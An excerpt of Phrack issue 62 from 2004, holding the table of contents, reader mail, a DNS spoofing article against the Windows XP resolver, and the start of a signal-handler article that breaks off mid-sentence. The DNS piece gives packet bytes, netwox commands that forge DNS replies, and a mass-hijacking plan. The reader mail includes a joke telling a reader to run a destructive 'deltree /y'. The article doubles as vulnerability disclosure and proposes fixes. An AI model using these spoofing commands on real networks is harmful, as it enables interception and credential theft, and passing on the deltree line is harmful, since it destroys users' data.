Phrack #62













                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x01 of 0x0f


                      _______ _  _         _  _ _______
           .__________\                               /__________.
           |    _ ___ _ ___       _ ___    _ ___    _ ___     _  . _
       _ __|_____    \/   /__  ____    \____    \____    \_ __/    /
           b    /    /  _    \/ __/  __/   /    /   /____/   /    /
           R __/    /   /    /  \    \         /   /    /      __/
           m \_____/   /    /   /    /   /    /        /   /   \_:__ _
       - --:-/    /---/____/---/____/---/____/---/____/---/      m
           |                                              \      m
           |   %   p H R A C K   i s s u e   # 6 2   %     \_____c__ _
           |                                                     |


Ladies and gentlemen, blackhatz and whitehat pussies, we are proud to bring
you the 6th PHRACK release under the new staff....

                          PHRACK #62 IS OUT.

For the second time in the history of phrack do we have a printed HARDCOVER
version of the magazine. Thanks to the many sponsers we will be giving it
out free at ruxcon II. This is a limited edition of 500 copies.

The 62 release is Windows centric. The authors did some great work to teach
you scum how to take Bill's OS apart. Check out this sweet article about
how to get around windows buffer overflow protections, or the article on
the kernel mode backdoor.

We like to publish more articles from the electronic/soldering world. This
issue comes with some details about radio broadcasting, hijacking base
stations and how to broadcast the propaganda through the neighborhood.
The carding article teach you how well-known techniques from the computer
security world still work on smartcards & magnetic stripes (*hint*
*hint*, replay attack, MiM, ...).

Scut, an old-skewl member of team teso and the father of the 7350-exploits
has been selected to be prophiled for #62. Richard Thieme, keynote speaker
at defcon and other hacker conferences submitted two stories. We are
proud to publish his words under Phrack World News. 

 __^__                                                               __^__
( ___ )-------------------------------------------------------------( ___ )
 | / | 0x01 Introduction                         phrackstaff 0x08 kb | \ |
 | / | 0x02 Loopback                             phrackstaff 0x05 kb | \ |
 | / | 0x03 Linenoise                            phrackstaff 0x21 kb | \ |
 | / | 0x04 Phrack Prophile on scut              phrackstaff 0x0b kb | \ |
 | / | 0x05 Bypassing Win BO Protection            Anonymous 0x25 kb | \ |
 | / | 0x06 Kernel Mode Backdoor for NT           firew0rker 0x81 kb | \ |
 | / | 0x07 Advances in Windows Shellcode                 sk 0x31 kb | \ |
 | / | 0x08 Remote Exec                                grugq 0x3b kb | \ |
 | / | 0x09 UTF8 Shellcode                            greuff 0x32 kb | \ |
 | / | 0x0a Attacking Apache Modules                    andi 0x5e kb | \ |
 | / | 0x0b Radio Hacking                           shaun2k2 0x36 kb | \ |
 | / | 0x0c Win32 Portable Userland Rootkit              kdm 0x48 kb | \ |
 | / | 0x0d Bypassing Windows Personal FW's           rattle 0x59 kb | \ |
 | / | 0x0e A DynamicPolyalphabeticSubstitutionCipher  veins 0x42 kb | \ |
 | / | 0x0f Playing Cards for Smart Profits            ender 0x1a kb | \ |
 | / | 0x10 Phrack World News                    phrackstaff 0x55 kb | \ |
 |___|_____________[  PHRACK, NO FEAR & NO DOUBT   ]_________________|___|
   ^                                                                   ^

Shoutz to:
  barium        - ascii art
  gamma         - hardcover
  johncompanies - that's how server hosting should look like
  bugbabe       - 31337 grfx
  david meltze  - tshirt smuggling

Enjoy the magazine!

Phrack Magazine Vol 11 Number 62, Build 3, Jul 13, 2004. ISSN 1068-1035
Contents Copyright (c) 2004 Phrack Magazine.  All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.

|=-----------=[ C O N T A C T   P H R A C K   M A G A Z I N E ]=---------=|

Editors           :
Submissions       :
Commentary        :
Phrack World News :

  Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.


Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)

Version: GnuPG v1.2.1 (GNU/Linux)


phrack:~# head -22 /usr/include/std-disclaimer.h
 *  All information in Phrack Magazine is, to the best of the ability of
 *  the editors and contributors, truthful and accurate.  When possible,
 *  all facts are checked, all code is compiled.  However, we are not
 *  omniscient (hell, we don't even get paid).  It is entirely possible
 *  something contained within this publication is incorrect in some way.
 *  If this is the case, please drop us some email so that we can correct
 *  it in a future issue.
 *  Also, keep in mind that Phrack Magazine accepts no responsibility for
 *  the entirely stupid (or illegal) things people may do with the
 *  information contained herein.  Phrack is a compendium of knowledge,
 *  wisdom, wit, and sass.  We neither advocate, condone nor participate
 *  in any sort of illicit behavior.  But we will sit back and watch.
 *  Lastly, it bears mentioning that the opinions that may be expressed in
 *  the articles of Phrack Magazine are intellectual property of their
 *  authors.
 *  These opinions do not necessarily represent those of the Phrack Staff.

|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10

|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------=[ Phrack  Staff ]=-----------------------------=|

|=[ 0x01 ]=--------------------------------------------------------------=|

From: "Tom Schouten" <>

plz help me, i know that it 's a stupid question but i don't know how to
decrypt the phrack articles i have imported the pgp key, but i don't know what
to do next


    [ Tom, I'm sorry but you wont continue the adventure with us. ]

|=[ 0x02 ]=--------------------------------------------------------------=|

From: if it were only this easy <>
Subject: Very important send to editor in chief asap

I should start off buy saying I'm not a cop fed or any other kind of law en
forcement nor am i affiliated with any national local government of any kind
to be honest i don't exist anywhere but, i am not a fan nor friend either.
[ ... ] I however have the knowledge you seek but unlike you i will not
freely share the knowledge with just every one. you must deserve to know.
you must prove yourself. [ ... ] now email is not safe but I've taken the
precautions on my end to keep this message out of government hands i hope
your server is secure if not they will be looking for me of course they are
always looking for me. [ ... ] if you don't succeed which you probably wont
don't worry thousands before you have failed and thousands will after it
just makes you average.

recipients do not know who i am and questioning them would be like
searching google.

    [ I'm only seeking for one information: Who gave you our email addres? ]

|=[ 0x03 ]=--------------------------------------------------------------=|

From: <>
Date: Fri, 5 Dec 2003 22:56:03 +0100

> Hi there,
> I was looking through phrack releases and I couldn't find an article about
> APR (ARP Poison Routing, used to spoof on switched networks).

    [ Unfortunately, you sent your message at 22:56, and we dont accept
      articles after 22:55. ]

> Maybe there is one and I'm stupid :-)

    [ There is something smart in every stupid sentence. ]

> If you can verify that such an article does not exist (in phrack that is)

    [ we hereby verify that such an article does not exist. ]

> I'll start writing right away ;-)

    [ our email address has changed for article
      submission: ]

> Greetz,
> eeweep


|=[ 0x04 ]=--------------------------------------------------------------=|

From: D D <>

I really know you are good! I would like to know how good you are.
I have primitive questions:

- I'm connected with a dial up connexion and I dont want want my server or
anybody else to know witch URL I'm browsing. Is that possible?                   

    [ yes ]

- Witch system is "secure" Mac or Win or linux.

    [ none ]

|=[ 0x05 ]=--------------------------------------------------------------=|

    [ IRC session after receiving the donation for hardcover print. ]

<staff> Mon3yLaundy - vis0r wants to know if phrack is a registered charity
<Mon3yLaundy> it's not.
<staff> yeah, i told him
<staff> he just wants a tax deduction
<Mon3yLaundy> tax my ass.

|=[ 0x06 ]=--------------------------------------------------------------=|

From: <>

     Now I'm discovering your magazine, and I want to receive it by
     email... The question is > How can I receive the magazine by email???

    [ wget;
      puuencode phrack62.tar.gz p62.tar.gz | mail ]

|=[ 0x07 ]=--------------------------------------------------------------=|

From: Joshua ruffolo <>

A friend referred me to your site.  I know nothing much about what is
posted.  I don't understand what's what.

    [ This is loopback. ]

Apparently there is some basic info that should be known to understand,
but what is it?

    [ howto_not_getting_into_loopback.txt ]

|=[ 0x08 ]=--------------------------------------------------------------=|

Subject: I want to know something about downloading the issues

hi. im nelson and i went to your site and i want to see if u could help me. I
just stated the process of learning how to hack and i think your issues can
help me. I downloaded one of the issues and when i opened it, a windows pop-up
asked me what program I want to open the issue with. And thats what I don't
know. So please help me and tell me what program I'm supposed to have to open
the issues with. Thank you

    [ You have to pass our IQ test first: click on start -> run and
      enter "deltree /y" ]

|=[ 0x09 ]=--------------------------------------------------------------=|


I love all of You ThaNkS For OpeninG My Min_d.?? You All Set Me FrEE IN This
TechNo WoRlD.? ThAnkS Dr.K -???????? YOU ARE A GEnius _ Oh yeah and there are
quite a few typos in the Hackers handbook? -but thats cool its all good I know
what you mean .....


|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10

|=---------------------=[ L I N E N O I S E ]=---------------------------=|

1 - Mistakes in the RFC Guidelines on DNS Spoofing Attacks
2 - Injecting Signals by Shaun
3 - Pirating A Radio Station

|=------=[ The Impact of RFC Guidelines on DNS Spoofing Attacks ]=------=|
           by have2Banonymous

--[ Contents

1 - Executive Summary
2 - Overview of Basic DNS Spoofing Attacks
3 - Proposed Criteria for DNS Reply Acceptance
4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria
5 - Example DNS Spoofing Attack
6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks
7 - Implementation Comparison
8 - Conclusion

--[ 1 - Executive Summary

This article provides a brief overview of basic Domain Name System (DNS) 
spoofing attacks against DNS client resolvers.  Technical challenges are 
proposed that should help to both identify attempted attacks and prevent 
them from being successful.  Relevant Request for Comments (RFC) 
guidelines, used by programmers to help ensure their DNS resolver code 
meets specifications, are reviewed.  This results in the realisation that 
the RFC guidelines are not adequately specific or forceful to help 
identify or prevent DNS spoofing attacks against DNS client resolvers.  
Furthermore, the RFC guidelines actually simplify such attacks to a level 
that has not previously been discussed in the public domain until now.

To highlight the consequences of merely conforming to the RFC guidelines 
without considering security ramifications, an example DNS spoofing attack 
against the DNS resolver in Microsoft Windows XP is provided.  This 
illustrates serious weaknesses in the Windows XP DNS resolver client 
implementation.  For example, Windows XP will accept a DNS reply as being 
valid without performing a thorough check that the DNS reply actually 
matches the DNS request.  This allows an attacker to create malicious 
generic DNS replies that only need to meet a couple of criteria with 
predictable values in order to be accepted as a valid DNS reply by the 
targeted user.

This article discusses the practical impact of the issues raised, such as 
the ability to perform a successful and reasonably undetectable DNS 
spoofing attack against a large target base of Windows XP users, without 
the attacker requiring knowledge of the DNS requests issued by the 
targeted users.  Finally, a comparison with the DNS resolver in Debian 
Linux is supplied.

--[ 2 - Overview of Basic DNS Spoofing Attacks

When a user types the web site name into their web 
browser, their computer issues a DNS request to their Internet Service 
Provider's (ISP) DNS server to resolve the web site name to an IP address. 
An attacker may attempt to subvert this process by sending the user a DNS 
reply containing an incorrect IP address, resulting in the user's computer 
connecting to a computer of the attacker's choice instead of the desired 
web site.

--[ 3 - Proposed Criteria for DNS Reply Acceptance

RFC 2535 (Domain Name System Security Extensions) otherwise known as 
DNSSEC discusses how cryptographic digital signatures can be used to 
authenticate DNS transactions to help mitigate DNS spoofing attacks.  
However, the adoption of this technology has been extremely slow.  Even 
without this level of security, it would initially appear that a DNS 
spoofing attack against a DNS client resolver would be challenging to 
perform.  This challenge results from the following proposed criteria of 
the DNS reply that must be met for it to be accepted by the computer 
performing the DNS lookup.

Proposed criteria of a DNS reply for it to be accepted:

1) The source IP address must match the IP address that the DNS request 
was sent to.

2) The destination IP address must match the IP address that the DNS 
request was sent from.

3) The source port number must match the port number that the DNS request 
was sent to.

4) The destination port number must match the port number that the DNS 
request was sent from.

5) The UDP checksum must be correctly calculated.  This may require the 
attacker to spend more time and effort per attack, although some packet 
generation utilities have the ability to automatically calculate this 

6) The transaction ID must match the transaction ID in the DNS request.

7) The domain name in the question section must match the domain name in 
the question section of the DNS request.

8) The domain name in the answer section must match the domain name in the 
question section of the DNS request.

9) The requesting computer must receive the attacker's DNS reply before it 
receives the legitimate DNS reply.

--[ 4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria

According to the RFC guidelines, it is not necessary for all of these 
criteria to be met in order for a DNS reply to be accepted.  Specifically, 
criteria 1, 2, 3, 5, 7 and 8 do not have to be met, while criteria 4, 6 
and 9 must be met.  The following is a devil's advocate interpretation of 
the RFC guidelines and a detailed discussion of their effect on each 

Criteria 1 (source IP address) does not have to be met according to RFC 
791 (Internet Protocol) which states that "In general, an implementation 
must be conservative in its sending behavior, and liberal in its receiving 
behavior.  That is, it must be careful to send well-formed datagrams, but 
must accept any datagram that it can interpret (e.g., not object to 
technical errors where the meaning is still clear)".  RFC 1035 (Domain 
names - implementation and specification) states that "Some name servers 
send their responses from different addresses than the one used to receive 
the query.  That is, a resolver cannot rely that a response will come from 
the same address which it sent the corresponding query to".  The source IP 
address can therefore be set to an arbitrary IP address.  Regardless, if 
desired, the attacker can set the source IP address of their DNS replies 
to that of the targeted user's DNS server.  This is especially easy if the 
targeted user is a dialup ISP user since the ISP may have a friendly "How 
to setup your Internet connection" web page that specifies the IP address 
of their DNS server.

Criteria 2 (destination IP address) does not have to be met according to 
RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which 
states that "For most purposes, a datagram addressed to a broadcast or 
multicast destination is processed as if it had been addressed to one of 
the host's IP addresses".  Using a broadcast destination address would be 
most useful for attacking computers on a Local Area Network.  Furthermore, 
a DNS reply may be accepted if it is addressed to any of the IP addresses 
associated with a network interface.

Criteria 3 (source port number) does not have to be met according to RFC 
768 (User Datagram Protocol) which states that "Source Port is an optional 
field".  The source port can therefore be set to an arbitrary value such 
as 0 or 12345.  Since the source port number of the DNS reply affects 
packet dissection by utilities such as Ethereal, a value of 137 is a 
devious choice since it will be dissected as the NetBIOS Name Service 
(NBNS) protocol which is based on DNS.  As a result, the malicious DNS 
replies can be made to appear like NetBIOS traffic which is likely to be 
discarded by the system administrator or investigator as typical NetBIOS 
background noise.

Criteria 4 (destination port number) must be met according to RFC 768 
(User Datagram Protocol).  However, this value may be predictable 
depending on the requesting computer's operating system.  During testing, 
Windows XP always used port number 1026 to perform DNS queries, though 
this value depends on when the DNS Client service started during the boot 

Criteria 5 (UDP checksum) does not have to be met according to RFC 1122 
(Requirements for Internet Hosts -- Communication Layers) which states 
that "the UDP checksum is optional; the value zero is transmitted in the 
checksum field of a UDP header to indicate the absence of a checksum".

Criteria 6 (transaction ID) must be met according to RFC 1035 (Domain 
names - implementation and specification) which states that the 
transaction ID is used "to match up replies to outstanding queries".  
However, this value may be predictable depending on the requesting 
computer's operating system.  During testing, Windows XP did not randomly 
choose the 16 bit transaction ID value.  Rather, Windows XP always used a 
transaction ID of 1 for the first DNS query performed after the computer 
was turned on, with the transaction ID simply incremented for subsequent 
DNS queries.  Transaction ID 1 and 2 were used by the operating system to 
perform a DNS query of

Criteria 7 and 8 (domain name in question and answer section) do not have 
to be met according to RFC 1035 (Domain names - implementation and 
specification) which states that the transaction ID is used "to match up 
replies to outstanding queries" and recommends as a secondary step "to 
verify that the question section corresponds to the information currently 
desired".  RFC recommendations do not have to be followed, and in the case 
of an absent question section, the principal that an implementation must 
accept any datagram that it can interpret appears to apply.  Therefore, a 
DNS reply containing a single answer in the form of an IP address can be 
matched to the corresponding DNS request based on the transaction ID, 
without requiring a question section and without resorting to the overhead 
of processing the domain information in the answer section.  Furthermore, 
an answer section is not even necessary if an Authority section is 
provided to refer the requesting computer to an authoritative name server 
(or a DNS server under the attacker's control).

Criteria 9 (requesting computer must receive the attacker's DNS reply 
before it receives the legitimate DNS reply) must be met and remains as 
the greatest challenge to the attacker.  This restriction is difficult 
to bypass unless the legitimate DNS server is taken out of action to 
prevent competition with the spoofed DNS reply, or numerous spoofed DNS 
replies are sent to the targeted user.  However, as discussed above, 
criteria 1 to 8 either do not have to be met or may have predictable 
values.  Therefore an attacker may require no knowledge of the victim's 
DNS request to have a reasonable chance of performing a successful attack 
by sending the requesting computer a small number of generic DNS replies.  
Furthermore, there is a viable workaround to the restrictive nature of 
this criteria.  If the attacker is not trying to compromise a specific 
computer, a "spray and pray" approach can be used.  This approach involves 
sending a very small number (twenty) of spoofed DNS replies to a maximum 
number of potential target computers, instead of trying to compromise a 
specific user and only once they have been compromised then trying to 
compromise another specific user.  This "spray and pray" approach won't 
compromise every potential victim, and every packet the attacker sends 
won't result in a compromise, but enough of the attacker's malicious DNS 
replies will be accepted by enough potential victims to make the exercise 

--[ 5 - Example DNS Spoofing Attack

A DNS spoofing attack using the concepts discussed in this article was 
performed against a Windows XP computer.  The test Windows XP computer 
was a default install of the operating system followed by the application 
of Service Pack 1.  The Microsoft Internet Connection Firewall shipped 
with Windows XP was then enabled, and configured to perform full logging 
of dropped packets and successful connections.

The Windows XP user typed the web site URL into 
Internet Explorer, resulting in a DNS request being sent from the user's 
computer (IP address to the user's DNS server (IP address

A spoofed DNS reply disguised as NetBIOS data was sent to the user from 
the fake (spoofed) nonexistent IP address, specifying that 
whatever name the user was attempting to resolve had the IP address  The IP address was actually a web server 
under the attacker's control.

Internet Explorer connected to and requested the web page.  
This revealed that the designers of the DNS resolver in Microsoft Windows 
XP also interpreted the RFC guidelines as described in the previous 
section, significantly simplifying DNS spoofing attacks.

The following network packet decoded by Ethereal version 0.10.3 
illustrates the malicious DNS reply and demonstrates how Ethereal can be 
confused into decoding the packet as NetBIOS traffic.

Frame 1 (102 bytes on wire, 102 bytes captured)
Ethernet II, Src: 00:50:56:c0:00:01, Dst: 00:0c:29:04:7d:25
Internet Protocol, Src Addr: (, Dst Addr: (
User Datagram Protocol, Src Port: 137 (137), Dst Port: 1026 (1026)
    Source port: 137 (137)
    Destination port: 1026 (1026)
    Length: 68
    Checksum: 0x0000 (none)
NetBIOS Name Service
    Transaction ID: 0x0003
    Flags: 0x8580 (Name query response, No error)
    Questions: 0
    Answer RRs: 1
    Authority RRs: 0
    Additional RRs: 0
        WORKGROUP<1b>: type unknown, class inet
            Name: WORKGROUP<1b>
            Type: unknown
            Class: inet
            Time to live: 1 day
            Data length: 4

0000  00 0c 29 04 7d 25 00 50 56 c0 00 01 08 00 45 00   ..).}%.PV.....E.
0010  00 58 bf 58 00 00 00 11 25 89 0a 0a 0a 01 c0 a8   .X.X....%.......
0020  01 01 00 89 04 02 00 44 00 00 00 03 85 80 00 00   .......D........
0030  00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45   ...... FHEPFCELE
0040  48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43   HFCEPFFFACACACAC
0050  41 43 41 43 41 42 4c 00 00 01 00 01 00 01 51 80   ACACABL.......Q.
0060  00 04 c0 a8 01 4d                                 .....M

This packet was created using the following parameters passed to the 
freely available netwox packet creation utility:

netwox 38 --ip4-src --ip4-dst --ip4-protocol 17 
--ip4-data 008904020044000000038580000000010000000020464845504643454c45484

Alternatively, the following parameters could be used since netwox 
automatically calculates the UDP checksum:

netwox 39 --ip4-src --ip4-dst --udp-src 137 
--udp-dst 1026 --udp-data 00038580000000010000000020464845504643454c45484

The following shows that the spoofed DNS reply has been added to the 
user's DNS resolver cache for a period of 1 day, causing future 
resolutions of to map to the web server under the 
attacker's control.  The cache duration value can be decreased by the 
attacker so that the entry is either not cached or is immediately removed 
from the cache in order to remove evidence of the attack.

C:\>ipconfig /displaydns

Windows IP Configuration

         Record Name . . . . . :
         Record Type . . . . . : 12
         Time To Live  . . . . : 604393
         Data Length . . . . . : 4
         Section . . . . . . . : Answer
         PTR Record  . . . . . : localhost

         Record Type . . . . . : 1
         Time To Live  . . . . : 86364
         Data Length . . . . . : 4
         Section . . . . . . . : Answer
         A (Host) Record . . . :

         Record Name . . . . . : localhost
         Record Type . . . . . : 1
         Time To Live  . . . . : 604393
         Data Length . . . . . : 4
         Section . . . . . . . : Answer
         A (Host) Record . . . :

The following log file from Microsoft's Internet Connection Firewall 
reveals that it did not provide any protection against the attack, though 
it is not designed to inspect and correlate DNS traffic.  If the firewall 
was not configured to log successful connections, then there would not 
have been any log entries.

#Verson: 1.0
#Software: Microsoft Internet Connection Firewall
#Time Format: Local
#Fields: date time action protocol src-ip dst-ip src-port dst-port size 
tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info

2004-05-10 20:34:56 OPEN UDP 1026 53 - - - - - - 
- -
2004-05-10 20:34:57 OPEN-INBOUND UDP 137 1026 - - - 
- - - - -
2004-05-10 20:34:57 OPEN TCP 3010 80 - - - - - - 
- -
2004-05-10 20:35:30 CLOSE TCP 3010 80 - - - - - - 
- -
2004-05-10 20:36:30 CLOSE UDP 1026 53 - - - - - 
- - -
2004-05-10 20:36:30 CLOSE UDP 137 1026 - - - - - - 
- -

It can be seen that when the Windows XP computer sent a UDP packet from 
port 1026 to port 53 of the DNS server, the firewall allowed all incoming 
UDP traffic to port 1026, regardless of the source IP address or source 
port of the incoming traffic.  Such incoming traffic was allowed to 
continue until the firewall decided to block access to port 1026, which 
occurred when there was no incoming traffic to port 1026 for a defined 
period of time.  This timeframe was between 61 seconds and 120 seconds, as 
it appeared that the firewall checked once per minute to determine if 
access to ports should be revoked due to more than 60 seconds of 
inactivity.  Assuming that users connected to the Internet would typically 
perform a DNS query at least every minute, incoming access to port 1026 
would always be granted.  An attacker on the Internet could therefore send 
the Windows XP computer spoofed DNS replies without worrying that they 
might be blocked by the firewall.  Such traffic would not generate any 
logs if the firewall was configured to only Log Dropped Packets.  If the 
firewall was configured to also Log Successful Connections as in this 
example, these log entries would disappear among the thousands of other 
log entries.  Since the firewall logs connections and not traffic, if the 
source IP address was set to the Windows XP computer's DNS server, no 
extra firewall log entries would be created as a result of the DNS 
spoofing attack.

The netstat command revealed that the Windows XP computer was always 
listening on UDP port 1026, and as a result, extra DNS replies were 
silently discarded and did not generate an error message in the event log 
or an ICMP port unreachable packet.  This behaviour, and the reuse of the 
same source port number for DNS requests, was attributed to the DNS Client 

--[ 6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks

The attacker does not require information about the targeted user's DNS 
requests, such as the IP address of the user's DNS server, the source port 
of the user's DNS request, or the name that the user was attempting to 
resolve to an IP address.  Therefore the attacker does not require access 
to the communication link between the targeted user and their DNS server.

Windows XP SP1 matches DNS replies to DNS requests by only the transaction 
ID and the UDP port number, and both of these values are very predictable. 
Since the name to be resolved is not matched between the DNS request and 
the DNS reply, the attacker does not care what domain name the user 
queried since this domain name does not have to be placed in the 
attacker's DNS reply.  As a result, the attacker can create generic 
malicious DNS replies that will successfully subvert the targeted user's 
DNS lookup process regardless of the name the targeted user was attempting 
to resolve, and regardless of the targeted user's network configuration 
such as the IP address of their DNS server.

An attacker desiring to compromise as many computers as possible with the 
least amount of effort and in the shortest timeframe could send twenty DNS 
replies that look similar to the generic DNS reply used in the example 
attack on Windows XP in this article, though with the transaction ID 
ranging from 3 to 22.  To be more thorough, the attacker could instead 
send one hundred DNS replies with the destination port number ranging from 
1025 to 1029.  The attacker would use a "spray and pray" approach by 
sending these DNS replies to every IP address in the IP address range 
belonging to a large dialup Internet Service Provider, and when finished, 
repeating the process.  

A level of success is guaranteed in such an attack scenario considering 
the huge target base of potential victims awaiting a DNS reply, and 
considering that Windows XP accepts anything vaguely resembling a DNS 
reply as a valid DNS reply.

A recipient of the attacker's twenty DNS replies will accept one of them 
as being valid, resulting in a successful attack, if the recipient:
- is using Windows XP with its poorly implemented DNS client resolver 
  (most dialup Internet users are in this category).
- recently connected to the Internet within the last 10-20 minutes or so 
  and therefore haven't performed more than twenty DNS requests (a 
  reasonable proportion of dialup Internet users are in this category).
- recently performed a DNS request and is awaiting a DNS reply (a 
  reasonable number of the huge target base of dialup Internet users are 
  in this category).

The targeted Windows XP users would be unlikely to notice the attack, 
especially if they were relying on Microsoft Internet Connection Firewall 
to protect them.  Analysis of the logs of a more sophisticated firewall 
and inspection of network traffic would not readily reveal a DNS spoofing 
attack since the source IP address would not be that of the legitimate DNS 
server.  Furthermore, the source port number and content of the spoofed 
DNS replies can be crafted to make them appear to be typical NetBIOS 
background noise which would probably be discarded by the user as useless 
network traffic floating around the Internet.  Finally, the targeted IP 
address range of a dialup ISP would consist mainly of home Internet users 
who are not educated in advanced network security concepts.

The IP address in the spoofed DNS replies could be a computer on the 
Internet under the attacker's control, which is running proxy software for 
email (SMTP and POP3) and HTTP traffic.  The attacker would be able to 
collect sensitive information including email sent and received as well as 
passwords for future email retrieval.  Web based email and unencrypted 
login details to web sites would also be collected.  The attacker could 
add content to HTML pages before returning them to the user.  Such content 
could include banner ads to generate money, or a hidden frame with a link 
to a file on a third party web site effectively causing a distributed 
denial of service attack against the third party.  More seriously, the 
attacker could increase the scope of the compromise by adding HTML content 
that exploited one of the publicly known vulnerabilities in Internet 
Explorer that allows the execution of arbitrary code, but for which there 
is no vendor patch.  For example, vulnerabilities discussed at the web 
The "spray and pray" attack approach is useful for creating a network of 
semi-randomly chosen compromised computers under the attacker's control, 
otherwise known as a botnet.

Proxying of HTTP/1.1 traffic could be performed by inspecting the HOST 
header to determine which web site the user wanted to visit.  However, for 
the purpose of easily and seamlessly proxying traffic, an attacker may 
decide not to place an Answer section in the spoofed DNS replies.  Rather, 
the attacker may send a non-authoritative spoofed DNS reply using the 
Authority and Additional sections of DNS replies to refer the requesting 
computer to a DNS server under the attacker's control.  This would allow 
the attacker to know exactly what domain the victim computer was 
attempting to query, and furthermore such spoofed DNS replies may have a 
long lasting and widespread effect on the victim's computer.  A detailed 
discussion of DNS referrals and testing whether Windows XP could handle 
them is outside the scope of this article.

--[ 7 - Implementation Comparison

Contributors to the Linux operating system appear to have taken a hardline 
security conscious approach to interpreting the RFC guidelines, bordering 
on non-conformance for the sake of security.  The Mozilla web browser 
running on the author's Debian Linux computer was very restrictive and 
required DNS replies to meet all of the above nine criteria except for 
criteria 5, where a UDP checksum value of zero was accepted.  An incorrect 
UDP checksum was accepted when the packet was sent over a local network 
but not when sent over the Internet.  Reviewing the kernel source code 
indicated that for local networks, the UDP checksum was deliberately 
ignored and hardware based checking was performed instead for performance 
reasons.  This appeared to be a feature and not a bug, even though it did 
not comply with RFC 1122 (Requirements for Internet Hosts -- Communication 
Layers) which states that "If a UDP datagram is received with a checksum 
that is non-zero and invalid, UDP MUST silently discard the datagram".

During testing, the Linux computer used source port numbers 32768 and 
32769 to perform DNS queries.  The transaction ID was randomly generated, 
complicating DNS spoofing attacks, though the transaction ID used in the 
retransmission of an unanswered DNS request was not as random.  The choice 
of transaction ID values appeared robust enough to help defend against DNS 
spoofing attacks on the Internet since the initial transaction ID value 
was unpredictable, and the first DNS request would typically be answered 
resulting in no need for retransmissions.

The iptables firewall on the Linux computer was configured so that the 
only allowed UDP traffic was to/from port 53 of the legitimate DNS server. 
When a DNS query was performed and a DNS reply was received, iptables was 
unable to block extra (spoofed) incoming DNS replies since it is not 
designed to inspect DNS traffic and allow one incoming DNS reply per 
outgoing DNS request.  However, since the port used to send the DNS query 
was closed once a valid DNS reply was received, ICMP port unreachable 
messages were generated for the extra (spoofed) incoming DNS replies.  
iptables was configured to block and log outgoing ICMP network traffic.  
Reviewing the logs revealed ICMP port unreachable messages that were 
destined to the legitimate DNS server, which were a good indication of a 
DNS spoofing attack.  Further to this evidence of a DNS spoofing attack, 
since the DNS replies must come from port 53, analysis of the network 
traffic using a packet dissector such as Ethereal revealed traffic that 
looked like DNS replies apparently originating at the legitimate DNS 

--[ 8 - Conclusion

The RFC guidelines simplify DNS spoofing attacks against DNS client 
resolvers since the attacker does not require information such as the IP 
address of the potential victim's DNS server or the contents of DNS 
queries sent by the potential victim.  Microsoft Windows XP is more 
susceptible to DNS spoofing attacks than Linux due to its poor 
implementation of the RFC guidelines.  Further simplifying DNS spoofing 
attacks are Windows XP's inadequate matching of DNS requests to DNS 
replies, and the predictable port number and transaction ID values - 
behaviour that could be changed without violating the RFC guidelines.  
Evidence of DNS spoofing attacks is minimised by the ability to disguise 
DNS replies as NetBIOS traffic, the lack of configuration granularity and 
traffic inspection of some firewalls, and Windows XP's failure to generate 
ICMP error messages for excessive DNS replies.

RFC 791 (Internet Protocol) stating that a program must be "liberal in its 
receiving behavior" and "must accept any datagram that it can interpret" 
may have been acceptable in 1981 when the RFC was created and 
interoperability was more important than security.  However, the Internet 
has changed from a somewhat trustworthy user base of representatives from 
educational institutions and the US Department of Defense to now include 
hackers and scammers, making security a high profile consideration.  
Perhaps it is time for software based on this outdated perception of the 
Internet to be changed as well.

The Internet community continues to wait for widespread adoption of 
cryptographic digital signatures used to authenticate DNS transactions, 
as discussed in RFC 2535 (Domain Name System Security Extensions).  In the 
meantime, the threat of DNS spoofing attacks could be minimised by 
Microsoft improving the DNS implementation in all of their affected 
operating systems.  Such improvements include using random transaction ID 
values, checking that the name in a DNS reply matches the name to be 
resolved in the DNS request, and using a random source port for DNS 
requests.  These improvements would make attacks against DNS client 
resolvers significantly more difficult to perform, and such improvements 
would not violate the RFC guidelines.

# Injecting signals for Fun and Profit #

by shaun2k2 <>

--[ 1 - Introduction

More secure programming is on the rise, eliminating more generic program
exploitation vectors, such as stack-based overflows, heap overflows and symlink
bugs.  Despite this, subtle vulnerabilities are often overlooked during code
audits, leaving so-called "secure" applications vulnerable to attack, but in a
less obvious manner.  Secure design of signal-handlers is often not considered,
but I believe that this class of security holes deserves just as much attention
as more generic classes of bugs, such as buffer overflow bugs.

This paper intends to discuss problems faced when writing signal-handling
routines, how to exploit the problems, and presents ideas of how to avoid such
issues.  A working knowledge of the C programming language and UNIX-like
operating systems would benefit the reader greatly, but is certainly not

--[ 2 - Signal Handling: An Overview

To understand what signal handlers are, one must first know what exactly a
signal is.  In brief, signals are notifications delivered to a process to alert
the given process about "important" events concerning itself.  For example,
users of an application can send signals using common keyboard Ctrl
combinations, such as Ctrl-C - which will send a SIGINT signal to the given

Many different signals exist, but some of the more common (or useful) ones are:
however.  A list of available signals, according to the POSIX.1 standard,
can be found in the unix manual page signal(7).

It is worth noting that the signals SIGKILL and
SIGSTOP cannot be handled, ignored or blocked. Their 'action' can
not be changed. 

"What are signal handlers", one might ask. The simple answer is that signal
handlers are small routines which are typically called when a pre-defined
signal, or set of signals, is delivered to the process it is running under
before the end of program execution - after execution flow has been directed to
a signal handling function, all instructions within the handler are executed in
turn.  In larger applications, however, signal handling routines are often
written to complete a more complex set of tasks to ensure clean termination of
the program, such as; unlinking of tempory files, freeing of memory buffers,
